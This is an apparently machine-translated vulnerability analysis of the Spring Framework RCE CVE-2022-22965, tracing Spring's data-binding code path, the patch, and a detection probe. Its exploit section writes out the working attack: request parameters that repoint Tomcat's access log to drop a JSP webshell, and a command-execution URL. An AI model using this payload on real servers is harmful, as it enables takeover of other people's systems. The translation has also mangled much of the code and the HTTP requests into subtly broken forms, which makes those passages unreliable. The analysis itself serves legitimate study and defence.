This article is shared by Xuuuu in CVE-2022-22965 Vulnerability Analysis in Huawei cloud community.

CVE-2022-22965

A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE) via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment. If the application is deployed as a Spring Boot executable jar, i.e. the default, it is not vulnerable to the exploit. However, the nature of the vulnerability is more general, and there may be other ways to exploit it.

Environment set up

VulEnv/ Springboot/CVE-2022-22965 at Master · XuCcc/VulEnv

Front knowledge

JavaBean

A typical Bean object is as follows

class UserInfo { private int age; public int getAge() { return age; } public void setAge(int age) { this.age = age; }}Copy the code

Classes that define attributes through private and read and write through public getXyz/setXyz are called JavaBean [^1]

Introspector

Java.beans. Introspector [^2] provides a standard set of methods to access properties, methods, and events in Javabeans, searching the Bean itself and all the way up to the parent class for information. Such as through Java. Beans. PropertyDescriptor to retrieve attributes relevant information (name/getter/setter /…).

public static void main(String args[]) throws IntrospectionException { BeanInfo info = Introspector.getBeanInfo(UserInfo.class); PropertyDescriptor[] propertyDescriptors = info.getPropertyDescriptors(); for (PropertyDescriptor propertyDescriptor : propertyDescriptors) { System.out.println(propertyDescriptor); System.out.println("================================================="); } } // java.beans.PropertyDescriptor[name=age; values={expert=false; visualUpdate=false; hidden=false;  enumerationValues=[Ljava.lang.Object;@6e1567f1; required=false}; propertyType=int;  readMethod=public int person.xu.vulEnv.UserInfo.getAge();  writeMethod=public void person.xu.vulEnv.UserInfo.setAge(int)] // ================================================= // java.beans.PropertyDescriptor[name=class; values={expert=false; visualUpdate=false; hidden=false;  enumerationValues=[Ljava.lang.Object;@5cb9f472; required=false}; propertyType=class java.lang.Class;  readMethod=public final native java.lang.Class java.lang.Object.getClass()] // = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =Copy the code

Assignment can also be done by introspection

UserInfo user = new UserInfo();  
System.out.println("age: " + user.getAge());  
PropertyDescriptor pd = Arrays.stream(info.getPropertyDescriptors()).filter(p -> p.getName().equals("age")).findFirst().get();  
pd.getWriteMethod().invoke(user, 18);  
System.out.println("age: " + user.getAge());

// age: 0
// age: 18
Copy the code

Spring BeanWrapperImpl

Provides a simple SET of apis for JavaBean operations, as well as advanced features (nesting properties, bulk reads and writes, and so on)

public class User {  
    private String name;  
    private UserInfo info;  

    public String getName() {  
        return name;  
    }  

    public void setName(String name) {  
        this.name = name;  
    }  

    public UserInfo getInfo() {  
        return info;  
    }  

    public void setInfo(UserInfo info) {  
        this.info = info;  
    }  

    public static void main(String args[]) {  
        User user = new User();  
        BeanWrapper bw = PropertyAccessorFactory.forBeanPropertyAccess(user);  
        bw.setAutoGrowNestedPaths(true);  
        bw.setPropertyValue("name", "wang");  
        bw.setPropertyValue("info.age", 18);  
        System.out.printf("%s is %d%n", user.getName(), user.getInfo().getAge());  
    }  
}

// wang is 18
Copy the code

Analyze the call logic at setPropertyValue(” name “, “Wang”) to get a general idea of the process

org.springframework.beans.AbstractNestablePropertyAccessor[^3]

  1. Call getPropertyAccessorForPropertyPath method get nested by getter properties
    1. Nested getPropertyAccessorForPropertyPath existsA.B.CProperty, loops through the getter value
  2. Call the setPropertyValue method to set the property through the setter
    1. ProcessKeyedProperty set Array/List… object
    2. ProcessLocalProperty sets the simple Bean object
      1. GetLocalPropertyHandler gets the property descriptor
        1. GetCachedIntrospectionResults PropertyDescriptor was obtained from the cache
          1. CachedIntrospectionResults# forClass create cache for the current Bean
      2. SetValue is assigned by calling the setter through reflection

Spring data bind

Take the following Controller as an example to trace the spring parameter binding process

@GetMapping("/")  
public String info(User user) {  
    return String.format("%s is %d", user.getName(), user.getInfo().getAge());  
}
Copy the code
  1. The incoming HTTP requests after org. Springframework. Web. Servlet. DispatcherServlet# doDispatch processing, to find the corresponding Handler for processing
  2. Org. Springframework. Web. Method. Support. InvocableHandlerMethod# invokeForRequest parameter binding before the invocation Handler
  3. With the response of org. Springframework. Web. Method. Support. HandlerMethodArgumentResolver# resolveArgument to argument parsing, fromrequestTo obtain parameters. Here is org. Springframework. Web. Method. The annotation. ModelAttributeMethodProcessor# resolveArgument
  4. Next to the org. Springframework. Validation. DataBinder# doBind, according to the JavaBean object for the assignment. So this is going to get a BeanWrapperImpl and assign it to setPropertyValues
  5. org.springframework.beans.AbstractPropertyAccessor#setPropertyValues
  6. org.springframework.beans.AbstractNestablePropertyAccessor#setPropertyValue

Source code analysis

Official fixed this issue in 5.3.18, check out Comparing V5.3.17… V5.3.18, spring – the projects/spring – framework in place Org. Springframework. Beans. CachedIntrospectionResults# CachedIntrospectionResults has carried on the related changes, the strengthened a PropertyDescriptor related filtering. View related calls

  • org.springframework.beans.CachedIntrospectionResults#forClass
  • org.springframework.beans.BeanWrapperImpl#getCachedIntrospectionResults

It is not hard to infer from the above that the BeanWrapperImpl called by Spring during parameter binding triggers this vulnerability during JavaBean operations.

<init>:272, CachedIntrospectionResults (org.springframework.beans)
forClass:181, CachedIntrospectionResults (org.springframework.beans)
getCachedIntrospectionResults:174, BeanWrapperImpl (org.springframework.beans)
getLocalPropertyHandler:230, BeanWrapperImpl (org.springframework.beans)
getLocalPropertyHandler:63, BeanWrapperImpl (org.springframework.beans)
processLocalProperty:418, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValue:278, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValue:266, AbstractNestablePropertyAccessor (org.springframework.beans)
setPropertyValues:104, AbstractPropertyAccessor (org.springframework.beans)
applyPropertyValues:856, DataBinder (org.springframework.validation)
doBind:751, DataBinder (org.springframework.validation)
doBind:198, WebDataBinder (org.springframework.web.bind)
bind:118, ServletRequestDataBinder (org.springframework.web.bind)
bindRequestParameters:158, ServletModelAttributeMethodProcessor (org.springframework.web.servlet.mvc.method.annotation)
resolveArgument:171, ModelAttributeMethodProcessor (org.springframework.web.method.annotation)
resolveArgument:122, HandlerMethodArgumentResolverComposite (org.springframework.web.method.support)
getMethodArgumentValues:179, InvocableHandlerMethod (org.springframework.web.method.support)
invokeForRequest:146, InvocableHandlerMethod (org.springframework.web.method.support)
...
Copy the code

Exp. Write

Because JDK9 new provides Java. Lang. The Module [^ 4) made in CachedIntrospectionResults# CachedIntrospectionResults can pass ClassLoader, so this hole is also a bypass of CVE-2010-1622[^5].

Circulating EXP is currently using Tomcat ParallelWebappClassLoader to modify the related properties of log in Tomcat [^ 6], to the log file is written to webshell command execution. For example, write CMD in the HTTP header to webapps/shell.jsp

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{cmd}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
Copy the code

Send a message

GET /? class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7bcmd%7di&class.module.classLoader.resource s.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=w ebapps%2fROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=test&class.module.classLoader.reso Urces. Context. The parent. Pipeline. First. FileDateFormat = HTTP / 1.1 Host: 7.223.181.36:38888 Upgrade - Insecure - Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; X64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml; Q = 0.9, image/avif, image/webp image/apng, * / *; Q = 0.8, application/signed - exchange; v=b3; Q =0.9 Accept-encoding: gzip, deflate Accept-language: zh-cn,zh; Q =0.9 Connection: close CMD: <%= Runtime.geTruntime ().exec(Request.getParameter (new String(new byte[]{97})))%>Copy the code

Can use shell.jsp? A = CMD to execute the command

For more details, see: Spring Framework RCE (CVE-2022-22965)

Patch repair

Spring enforces the judgment when obtaining the attribute descriptor, leaving only the name attribute.

if (Class.class == beanClass && (!" name".equals(pd.getName()) && ! pd.getName().endsWith("Name"))) { // Only allow all name variants of Class properties continue; } if (pd.getPropertyType() ! = null && (ClassLoader.class.isAssignableFrom(pd.getPropertyType()) || ProtectionDomain.class.isAssignableFrom(pd.getPropertyType()))) { // Ignore ClassLoader and ProtectionDomain types - nobody needs to bind to those continue; }Copy the code

Poc to write

The bug can be determined by incorrectly setting a property under classLoader to trigger a BindException that causes the server to return the exception, such as send

GET /? Class. The module. This. DefaultAssertionStatus HTTP / 1.1 = 123 Host: 127.0.0.1:39999 cache-control: Max-age =0 upgrade-insecure -Requests: 1 User-agent: Mozilla/5.0 (Windows NT 10.0; Win64; X64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml; Q = 0.9, image/avif, image/webp image/apng, * / *; Q = 0.8, application/signed - exchange; v=b3; Q =0.9 Accept-encoding: gzip, deflate Accept-language: zh-cn,zh; Q = 0.9 Connection: closeCopy the code

Server return

HTTP / 1.1 400 the content-type: text/HTML. charset=UTF-8 Content-Language: zh-CN Content-Length: 277 Date: Fri, 08 Apr 2022 03:49:42 GMT Connection: close <html><body><h1>Whitelabel Error Page</h1><p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p><div id='created'>Fri Apr 08 11:49:42 CST 2022</div><div>There was an unexpected error (type=Bad Request, status=400).</div></body></html>Copy the code

Reference

  • Spring Framework RCE, Early Announcement
  • SpringShell RCE vulnerability: Guidance for protecting against and detecting CVE-2022-22965 – Microsoft Security Blog
  • For SpringMVC parameter binding principle | technology driven life
  • Spring Framework RCE vulnerability analysis | Gta1ta ‘s Blog
  • CVE-2022-22965 (SpringShell): RCE Vulnerability Analysis and Mitigations

Footnote

[^1]: JavaBeans – Wikipedia [^2]: Introspector (Java Platform SE 8 ) [^3]: AbstractNestablePropertyAccessor Spring properties into three (3) – binarylei – blog garden [^ 4] : the Module (Java SE 9 & JDK 9) [^ 5) : Analysis of Arbitrary Code Execution Vulnerability in SpringMVC Framework (CVE-2010-1622) – Ilin [^6]: Apache Tomcat 8 Configuration Reference (8.0.53) – The Valve Component

Huawei Cloud Vulnerability Scanning Service VSS Basic Edition free experience for a limited time >>>

Click to follow, the first time to learn about Huawei cloud fresh technology ~